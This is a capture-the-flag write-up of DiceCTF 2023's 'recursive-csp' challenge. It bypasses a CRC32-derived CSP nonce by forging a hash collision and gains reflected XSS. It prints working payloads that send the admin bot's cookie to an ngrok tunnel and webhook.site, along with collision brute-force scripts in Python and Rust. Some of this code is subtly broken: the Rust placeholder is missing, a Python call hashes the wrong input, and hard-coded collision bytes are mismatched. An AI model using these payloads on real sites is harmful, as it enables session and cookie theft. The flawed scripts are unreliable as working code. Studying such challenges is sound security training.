recursive-csp
Overview
-
Overall difficulty for me (From 1-10 stars): ★★★★★★★★★☆
-
178 solves / 115 points
Background
- Author: strellic
the nonce isn’t random, so how hard could this be?
(the flag is in the admin bot’s cookie)
Find the flag
In this challenge, there are 2 websites.
recursive-csp.mc.ax
:
View source page:
<!DOCTYPE html>
<html>
<head>
<title>recursive-csp</title>
</head>
<body>
<h1>Hello, world!</h1>
<h3>Enter your name:</h3>
<form method="GET">
<input type="text" placeholder="name" name="name" />
<input type="submit" />
</form>
<!-- /?source -->
</body>
</html>
In here, we see there is a HTML comment.
The ?source
is the GET parameter.
Let’s try to provide that:
As you can see, we found the PHP source page.
Source code:
<?php
if (isset($_GET["source"])) highlight_file(__FILE__) && die();
$name = "world";
if (isset($_GET["name"]) && is_string($_GET["name"]) && strlen($_GET["name"]) < 128) {
$name = $_GET["name"];
}
$nonce = hash("crc32b", $name);
header("Content-Security-Policy: default-src 'none'; script-src 'nonce-$nonce' 'unsafe-inline'; base-uri 'none';");
?>
<!DOCTYPE html>
<html>
<head>
<title>recursive-csp</title>
</head>
<body>
<h1>Hello, <?php echo $name ?>!</h1>
<h3>Enter your name:</h3>
<form method="GET">
<input type="text" placeholder="name" name="name" />
<input type="submit" />
</form>
<!-- /?source -->
</body>
</html>
Let’s break it down!
- If GET parameter
source
is provided, then show the source code of this PHP file and exit the script - Check GET parameter
name
is provided, and it’s data type is string, and the length is less than 128. If noname
parameter is provided, default one is “world”. - Then, using hashing algorithm CRC32B to digest (hash) our provided
name
parameter’s value - After that, add
Content-Security-Policy
(CSP) header to HTTP response header, with value:default-src 'none'; script-src 'nonce-$nonce' 'unsafe-inline'; base-uri 'none';
- Finally, echos out our provided
name
parameter’s value
Armed with above information, we can try to provide the name
GET parameter:
As you can see, our name
’s value is being reflected to the web page.
That being said, we can try to exploit reflected XSS (Cross-Site Scripting)!
Payload:
<script>alert(document.domain)</script>
However, the alert box doesn’t appear, as the Content-Security-Policy
’s script-src
is set to none
. That being said, the back-end will disallow from executing JavaScript code.
Content Security Policy (CSP) is an added layer of security that helps to detect and mitigate certain types of attacks, including Cross-Site Scripting (XSS) and data injection attacks. These attacks are used for everything from data theft, to site defacement, to malware distribution.
But! The script-src
directive is set to a nonce
value.
Also, the script-src
directive also set to unsafe-inline
, which enables us to execute any inline JavaScript code!
Hmm… How can we abuse the nonce
value…
In Content Security Policy (CSP) Quick Reference Guide, it said:
As you can see, the nonce’s random value must be cryptographically secure random.
In our case, the nonce’s value is hashed by our name
value via CRC32B algorithm.
After poking around, I found an interesting thing.
we can use the <meta>
element to redirect users:
<meta http-equiv="refresh" content="1;url=https://siunam321.github.io/">
Boom! We can redirect users to any website!
However, that doesn’t allow us to steal the admin bot’s cookie because of the CORS (Cross-Origin Resource Sharing) policy?
Hmm… What if I redirect the admin bot to our XSS payload??
But then it’ll be blocked because of the nonce value is incorrect…
Let’s go to the “Admin Bot” page:
In here, we can submit a URL:
Burp Suite HTTP history:
When we clicked the “Submit” button, it’ll send a POST request to /web-recursive-csp
, with parameter url
and recaptcha_code
.
Then, it’ll redirect us to /web-recursive-csp
with GET parameter msg
and url
.
Maybe we could redirect the admin bot to here, and trigger an XSS payload??
But no dice.
If you look at the source code:
strlen($_GET["name"]) < 128
It checks the string length is less than 128 characters or not. Why it’s doing that?
According to HackTricks, if the response is overflowed (default 4096 bytes), it’ll show a warning:
So, maybe the checks is preventing that?
Also, I realized that there is a thing called “Hash collision”. For example, MD5 hash collision attack, where 2 MD5 hashes are the same, thus collided.
Since CRC32B algorithm only outputs a 32-bit unsigned value, we can very easily to brute force it.
Let’s write a simple Python script to brute force it!
#!/usr/bin/env python3
from zlib import crc32
from itertools import combinations_with_replacement
characters = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%&'()*+,-./:;<=>?@[\\]^_`{|}"
counter = 1
# Hash and loop through aa, ab, ac, ...
while True:
for character in combinations_with_replacement(characters, counter):
crc32BeforeHashInput = "".join(character).encode('utf-8')
crc32BeforeHashed = hex(crc32(crc32BeforeHashInput))[2:]
crc32HashNonce = f"<script nonce='{crc32BeforeHashed}'>alert(document.domain)</script>".encode('utf-8')
crc32HashedNonce = hex(crc32(crc32HashNonce))[2:]
crc32HashPayloadInput = f"<script nonce='{crc32HashedNonce}'>alert(document.domain)</script>".encode('utf-8')
crc32HashedPayload = hex(crc32(crc32HashPayloadInput))[2:]
print(f'[*] Trying nonce: {crc32HashedNonce}, hashed: {crc32HashedPayload}', end='\r')
if crc32HashedPayload == crc32HashedNonce:
print('\n[+] Found collided hash!')
print(f'[+] Before hashed 1: {crc32HashNonce.decode()}')
print(f'[+] Before hashed 2: {crc32HashPayloadInput.decode()}')
print(f'[+] After hashed 1: {crc32HashedNonce}')
print(f'[+] After hashed 2: {crc32HashedPayload}')
# exit()
else:
counter += 1
If this script found a collided hash, we could use that nonce value in our XSS payload, as the back-end will also generate the same nonce value!
However, still no luck????
After the CTF
After the CTF, I found that there is a GitHub repository that generate CRC32 hash collision:
Let’s clone that repository!
┌[siunam♥earth]-(/opt)-[2023.02.08|17:37:33(HKT)]
└> sudo git clone https://github.com/bediger4000/crc32-file-collision-generator.git
[sudo] password for siunam:
Cloning into 'crc32-file-collision-generator'...
Then, we can create a target.txt
for generating the nonce value, and payload.txt
for the XSS payload:
┌[siunam♥earth]-(~/ctf/DiceCTF-2023/Web/recursive-csp)-[2023.02.08|17:38:00(HKT)]
└> echo -n '0' > target.txt
┌[siunam♥earth]-(~/ctf/DiceCTF-2023/Web/recursive-csp)-[2023.02.08|17:41:58(HKT)]
└> /opt/crc32-file-collision-generator/crc32 target.txt
target.txt, read 1 bytes
CRC32: f4dbdf21
Note: The
-n
flag must be used to remove the new line character (\n
) in the end.
┌[siunam♥earth]-(~/ctf/DiceCTF-2023/Web/recursive-csp)-[2023.02.08|17:42:17(HKT)]
└> echo -n '<script nonce="f4dbdf21">alert(document.domain)</script>' > payload.txt
Note: For testing purposes, we can first use
alert()
JavaScript function.
After that, use matchfile
to find the collided hash:
┌[siunam♥earth]-(~/ctf/DiceCTF-2023/Web/recursive-csp)-[2023.02.08|17:43:01(HKT)]
└> /opt/crc32-file-collision-generator/matchfile target.txt payload.txt
File to match has length 1, CRC32 value f4dbdf21
File to get to match has length 56, CRC32 value 2d0aaf44
Bytes to match: 41db763a
3a 76 db 41
:v�A
Next, URL encode the XSS payload and the collided bytes:
#!/usr/bin/env python3
import urllib.parse
def main():
url = 'https://recursive-csp.mc.ax/?name='
XSSpayload = ''.join(open('payload.txt', 'r'))
matchedBytes = '%c3%71%37%2f'
print(f'URL encoded Payload:\n{url}{urllib.parse.quote(XSSpayload)}{matchedBytes}')
if __name__ == '__main__':
main()
┌[siunam♥earth]-(~/ctf/DiceCTF-2023/Web/recursive-csp)-[2023.02.08|17:51:09(HKT)]
└> python3 url_encode_payload.py
URL encoded Payload:
https://recursive-csp.mc.ax/?name=%3Cscript%20nonce%3D%22f4dbdf21%22%3Ealert%28document.domain%29%3C/script%3E%3a%76%db%41
Finally, copy and paste that URL encoded payload:
Boom!! We successfully triggered an alert box, as the nonce value is matched!!
Now, to retrieve admin bot’s cookie, we can modify the XSS payload.
But first, we need to:
Setup Ngrok HTTP port forwarding and Python Simple HTTP server: (Or you can just use Webhook.site)
┌[siunam♥earth]-(~/ctf/DiceCTF-2023/Web/recursive-csp)-[2023.02.08|17:59:20(HKT)]
└> ngrok http 8000
[...]
Web Interface http://127.0.0.1:4040
Forwarding https://2330-{Redacted}.ap.ngrok.io -> http://localhost:8000
[...]
┌[siunam♥earth]-(~/ctf/DiceCTF-2023/Web/recursive-csp)-[2023.02.08|17:59:57(HKT)]
└> python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
Then we can modify the XSS payload:
┌[siunam♥earth]-(~/ctf/DiceCTF-2023/Web/recursive-csp)-[2023.02.08|18:01:03(HKT)]
└> echo -n '<script nonce="f4dbdf21">document.location="https://2330-{Redacted}.ap.ngrok.io?"+document.cookie</script>' > payload.txt
Note: The XSS payload must less than 128 characters, as the web application will check that.
Again, find the collided bytes:
┌[siunam♥earth]-(~/ctf/DiceCTF-2023/Web/recursive-csp)-[2023.02.08|18:02:33(HKT)]
└> /opt/crc32-file-collision-generator/matchfile target.txt payload.txt
File to match has length 1, CRC32 value f4dbdf21
File to get to match has length 110, CRC32 value 43e6a8bd
Bytes to match: 2f3771c3
c3 71 37 2f
�q7/
URL encode it:
matchedBytes = '%c3%71%37%2f'
┌[siunam♥earth]-(~/ctf/DiceCTF-2023/Web/recursive-csp)-[2023.02.08|18:02:57(HKT)]
└> python3 url_encode_payload.py
URL encoded Payload:
https://recursive-csp.mc.ax/?name=%3Cscript%20nonce%3D%22f4dbdf21%22%3Edocument.location%3D%22https%3A//2330-{Redacted}.ap.ngrok.io%3F%22%2Bdocument.cookie%3C/script%3E%c3%71%37%2f
Finally, send the above URL to admin bot:
Verify it worked:
Web Interface http://127.0.0.1:4040
Forwarding https://2330-{Redacted}.ap.ngrok.io -> http://localhost:8000
Connections ttl opn rt1 rt5 p50 p90
1 0 0.01 0.00 0.00 0.00
HTTP Requests
-------------
GET / 200 OK
┌[siunam♥earth]-(~/ctf/DiceCTF-2023/Web/recursive-csp)-[2023.02.08|17:59:57(HKT)]
└> python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
127.0.0.1 - - [08/Feb/2023 18:03:49] "GET /?flag=dice{h0pe_that_d1dnt_take_too_l0ng} HTTP/1.1" 200 -
Nice! We successfully retrieved admin bot’s cookie!!
- Flag:
dice{h0pe_that_d1dnt_take_too_l0ng}
Alternatively, I modified the brute force script:
#!/usr/bin/env python3
from zlib import crc32
def main():
for i in range(0x0, 0xffffffff + 1):
nonceValue = crc32(bytes(i))
payload = f'<script nonce="{nonceValue}">document.location="https://webhook.site/9e750b29-46f0-4629-a07c-adeb8a7ed641/?c="+document.cookie</script>'.encode('utf-8')
hashedPayload = crc32(bytes(payload))
print(f'[*] Trying nonce {nonceValue}, hashed payload {hashedPayload}', end='\r')
if hashedPayload == nonceValue:
print('[+] Found collided hash!')
print(f'[+] Nonce value: {nonceValue}')
print(f'[+] Hashed value: {hashedPayload}')
print(f'[+] Before hashed payload: {payload.decode()}')
exit()
if __name__ == '__main__':
main()
This script will loop through hex 0x0
to hex 0xffffffff
, which is from 0 to 4294967295. The reason why we loop through that, is because CRC32 is 32-bit long, or 8 hex characters long. Therefore, we can loop through hex 0x0
to hex 0xffffffff
, to get the hash collision value:
┌[siunam♥earth]-(~/ctf/DiceCTF-2023/Web/recursive-csp)-[2023.02.08|18:06:13(HKT)]
└> python3 brute_force_crc32b.py
[...]
However, using Python to do that would take a very, very long time.
To address this issue, we can use Rust.
Rust is blazingly fast and memory-efficient: with no runtime or garbage collector, it can power performance-critical services, run on embedded devices, and easily integrate with other languages.
- Initialise a new Rust repository:
┌[siunam♥earth]-(~/ctf/DiceCTF-2023/Web/recursive-csp)-[2023.02.08|18:24:12(HKT)]
└> cargo init
Created binary (application) package
- Modfiy the
src/main.rs
: (The following Rust script is from this challenge’s author: strellic, I strongly recommend you to read his writeup! Kudos to strellic!)
use rayon::prelude::*;
fn main() {
let payload = "<script nonce='f4dbdf21'>document.location='https://6466-{Redacted}.ap.ngrok.io?'+document.cookie</script>".to_string();
let start = payload.find("Z").unwrap();
(0..=0xFFFFFFFFu32).into_par_iter().for_each(|i| {
let mut p = payload.clone();
p.replace_range(start..start+8, &format!("{:08x}", i));
if crc32fast::hash(p.as_bytes()) == i {
println!("{} {i} {:08x}", p, i);
}
});
}
Note: Replace your call back link to yours. Also, the nonce can be remain unchanged.
It creates a range from 0 to $2^{32}$, then uses Rayon to parallelize it. Then, it places the iterator value into the nonce, and checks that the output of
crc32fast::hash
is itself the iterator value. (Once again, from this challenge author’s writeup).
Then compile it, and run the compiled executable.
After you found the collided hash, you can repeat the same step in the first solution.
Conclusion
What we’ve learned:
- XSS (Cross-Site Scripting) & CSP (Content Security Policy) Bypass Via Insecure Nonce Value